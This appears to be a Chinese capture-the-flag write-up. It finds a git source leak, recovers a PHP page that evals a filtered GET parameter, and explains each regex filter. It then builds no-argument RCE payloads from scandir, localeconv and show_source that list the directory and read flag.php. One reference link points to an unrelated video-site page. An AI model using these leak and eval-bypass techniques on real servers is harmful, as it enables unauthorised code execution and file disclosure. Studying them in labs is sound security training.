查看源代码、network,什么都没有
直接输入/.git/时返回403,输入/.git/head可以下载文件,发现git泄漏
使用GitHack下载源码
<?php include "flag.php"; echo "flag在哪里呢?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>
1、flag在flag.php
2、需要以GET形式传入一个名为exp的参数。如果满足条件会执行这个exp参数的内容。
3、if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) 过滤了一些常用的伪协议,就不能用伪协议读flag.php。
4、if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) 用preg_replace()替换匹配到的字符为NULL空。传入的exp参数只能包含小写字母、,、_、(),还要以;结尾。(?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。
5、if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) 正则匹配掉了et/na/info等关键字,过滤了一些函数。
6、eval($_GET['exp']);
典型的无参数RCE
构造?exp=print_r(scandir(pos(localeconv())))查看目录
构造?exp=show_source(next(array_reverse(scandir(current(localeconv())))))获取flag.php。翻转数组顺序,让指针指向第二个数组,输出文件。
知识点
git泄露
https://vip.iqiyi.com/cps_pc.html?fv=zz_5993b5deb9f24
无参数RCE
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E4%BB%80%E4%B9%88%E6%98%AF%E6%97%A0%E5%8F%82%E6%95%B0%E5%87%BD%E6%95%B0RCE
https://zhuanlan.zhihu.com/p/347849603
函数
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
pos() 函数返回数组中的当前元素(单元),默认取第一个值。
scandir() 列出 images 目录中的文件和目录。
print_r()用于打印变量
array_reverse()以相反的元素顺序返回数组。
next() 函数将内部指针指向数组中的下一个元素,并输出。
highlight_file()函数对文件进行语法高亮显示。